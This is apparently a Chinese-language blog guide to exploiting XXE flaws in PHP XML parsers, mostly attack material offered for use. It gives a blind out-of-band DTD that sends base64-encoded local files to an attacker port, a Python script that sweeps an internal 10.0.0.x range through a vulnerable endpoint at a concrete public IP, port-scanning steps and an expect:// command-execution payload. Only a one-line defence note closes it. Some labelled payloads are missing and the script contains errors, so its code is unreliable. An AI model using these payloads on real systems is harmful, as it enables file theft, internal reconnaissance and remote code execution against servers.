XXE使用攻略
背景知识:实体分为内部实体,外部实体。/通用实体(使用&定义),参数实体(% 实体名,空格不能少)>。
示例代码:
xml.php
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
?>
payload:
如果文件没有特殊符号,读取没有太大问题。遇上特殊符号(“&”,“>”,"<")这种会报错。--->解决方法:将读出来的数据放在CDATA中输出绕过
payload:
evil.dtd:
把CDATA当作字符串写入参数实体,然后依次调用,在解析的时候拼接起来,就能把返回来的数据当作字符串传输。不会引起错误。
二:无回显读取本地敏感文件(Blind OOB XXE)
xml.php
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>
test.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:9999?p=%file;'>">
payload:
分三次调用参数实体。在将修改的payload请求发送到目标主机上进行解析时:
1.先调用%remoe;对存在利用dtd文件发起请求,并返回文件内容。
2.调用%int;执行里面存在的又一层实体
3.调用%send;向特定主机发送请求,包含参数p,附带上经过base64编码后的读取到达文件数据。
4.在我们特定主机服务器端口进行查看,可以发现传送到的数据。
三:HTTP内网主机探测
以存在XXE漏洞服务器为我们探测内网的跳板,在进行探测前,先利用file协议读取作为跳板服务器的网络配置文件。看一下有没有内网,以及内网段大概什么样子。以LINUX为例,我们可以读取/etc/nerwork/interfaces或者/proc/net/arp或者/etc/host文件后,就有了大致方向。
探测脚本实例:
import requests
import base64
#Origtional XML that the server accepts
#<xml>
# <stuff>user</stuff>
#</xml>
def build_xml(string):
xml="""<?xml version="1.0" encoding="utf-8"?>"""
xml+='\r\n'+"""<!DOCTYPE foo [<!ELEMENT foo ANT>"""
xml+='\r\n'+"""<!ENTITY xxe SYSTEM>"""+string+""">]>"""
xml+='\r\n'+"""<foo>"""+'\r\n'+"""<stuff>&xxe;</stuff>"""+'\r\n'+"""</xml>"""
send_xml(xml)
def send_xml(xml):
headers={'Content-Type': 'application/xml'}
rep=requests.post('http://34.200.157.128/CUSTOM/NEW_XEE.php',data=xml,headers=headers,timeout=5).text
coded_string=rep.split(' ')[-2] #a little split to get only the base64 encoded value
print coded_string
for i in range(1,255):
try:
i=str(i)
ip='10.0.0.'+i
string='php://filter/convert.base64-encode/resource=http://'+ip+'/'
print(string)
build_xml(
string)
except:
continue

对可能存在的内网主机,通过变换ip地址不断发起请求,通过返回值来判断主机是否存在
四:HTTP内网主机端口扫描
我们找到一台主机,想要发现攻击点,需要进行端口扫描,我们只要把ip地址固定,遍历端口就ok。一般通过响应时间长短判断该端口是否开放。可以结合burpsuite进行端口探测。

运用burp把端口替换。
五:其他
1.PHP expect RCE
由于PHP的expect不是默认安装扩展,如果安装了这个expect扩展我们就能利用XXE进行RCE
<!DOCTYPE root[<!ENTITY cmd SYSTEM "expect://id">]>
<dir>
<file>&cmd;</file>
</dir>
XXE出现在哪些地方
前后端有种情况,后端处理好数据以后,前端只用调用后端封装好的数据就ok,比如json.decode。 问题就出现在这里,api接口能解析客户端传过来的xml代码,并且直接外部实体的引用
防御:使用语言种推荐的禁用外部实体的方法
参考:https://xz.aliyun.com/t/3357

浙公网安备 33010602011771号